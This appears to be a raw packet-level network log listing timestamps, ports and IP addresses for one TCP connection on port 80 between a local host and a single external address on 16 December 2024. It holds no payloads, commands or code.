Dec 16, 2024 09:01:41.716248035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.716372013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.716372013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.716470003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.719971895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.720065117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.720146894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.723560095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.723670006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.723777056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.727211952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.727307081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.727330923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.728152990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.759040117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.759147882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.759253979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.759462118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.760875940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.760910988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.760966063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.760966063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.843552113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.843676090 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.843740940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.843862057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.844940901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.845005989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.845020056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.845066071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.847544909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.847651958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.847745895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.850296974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.850384951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.850389957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.850482941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.852834940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.852948904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.852981091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.853290081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.855604887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.855659962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.855845928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.855890989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.858138084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.858222961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.858413935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.858479977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.860567093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.860675097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.860747099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.860747099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.863115072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.863204956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.863236904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.863353014 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.865667105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.865796089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.865865946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.868243933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.868338108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.868345976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.868417978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.870800972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.870848894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.870909929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.870959044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.873334885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.873461008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.873475075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.873663902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.875902891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.876033068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.876101017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.878472090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.878563881 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.878593922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.878704071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.881032944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.881103039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.881138086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.881186008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.883692026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.883805990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.883867979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.886179924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.886262894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.886272907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.886414051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.888020039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.888102055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.888202906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.888262033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.889858007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.889933109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.889955997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.890784979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.891732931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.891772985 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.891782999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.891868114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.893553972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.893619061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.893690109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.893734932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.895440102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.895545959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.895564079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.895739079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.897284031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.897341013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.897392035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.897485971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.899142027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.899264097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.899302006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.899302959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.900976896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.901083946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.901139975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.902829885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.902903080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.902950048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.903019905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.904875994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.904968023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.905060053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.906526089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.906662941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.906727076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.908443928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.908570051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.908667088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.910234928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.910295963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.910325050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.910401106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.912178993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.912269115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.912370920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.913908005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.914000988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.914024115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.914073944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.915807962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.915894032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.915971041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.046195030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.046304941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.046407938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.046955109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.047040939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.047126055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.047240019 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.048542023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.049118996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.049211025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.049221039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.049324989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.050719976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.050791979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.050831079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.050882101 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.052324057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.052411079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.052478075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.053908110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.053956032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.053999901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.054069042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.055490017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.055604935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.055661917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.057090044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.057190895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.057194948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.057353973 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.058698893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.058789968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.058806896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.058888912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.060285091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.060414076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.060480118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.060480118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.061878920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.061990023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.062028885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.063504934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.063570023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.063592911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.063637972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.065059900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.065108061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.065197945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.065238953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.066696882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.066761017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.066806078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.067089081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.068300009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.068447113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.068559885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.069921970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.069972992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.069989920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.070153952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.071464062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.071580887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.071641922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.073055983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.073191881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.073257923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.074649096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.074703932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.074748993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.074826002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.076241016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.076308012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.076436996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.076488018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.077821016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.077869892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.077924967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.078074932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.079456091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.079581976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.079693079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.081037998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.081160069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.081172943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.081254959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.082659006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.082763910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.082814932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.084209919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.084316969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.084400892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.084536076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.085808039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.085892916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.086020947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.087383032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.087485075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.087496996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.087563992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.088996887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.089037895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.089193106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.089247942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.090615988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.090749979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.090992928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.092175961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.092289925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.093095064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.093920946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.093977928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.093995094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.094083071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.095633984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.095702887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.095774889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.097157001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.097215891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.097253084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.097404003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.098587990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.098644972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.098674059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.098737001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.100164890 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.100306988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.100341082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.100402117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.101742029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.101835966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.102011919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.102083921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.103372097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.103516102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.103574038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.104943991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.105027914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.105041027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.105102062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.106672049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.106842995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.107232094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.108149052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.108233929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.108289003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.109879017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.109946966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.110016108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.110081911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.111367941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.111438990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.111509085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.112957954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.113042116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.113054991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.113158941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.114531040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.114629030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.114697933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.114697933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.116117954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.116223097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.116312027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.118016005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.118096113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.118139982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.118139982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.119493961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.119573116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.119703054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.120949984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.121005058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.121053934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.121097088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.122575998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.122649908 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.122701883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.123333931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.124144077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.124250889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.124466896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.238292933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.238384962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.238416910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.238455057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.238629103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.238688946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.239038944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.239303112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.240094900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.240215063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.240237951 CET	80	49900	31.41.244.11	192.168.2.5
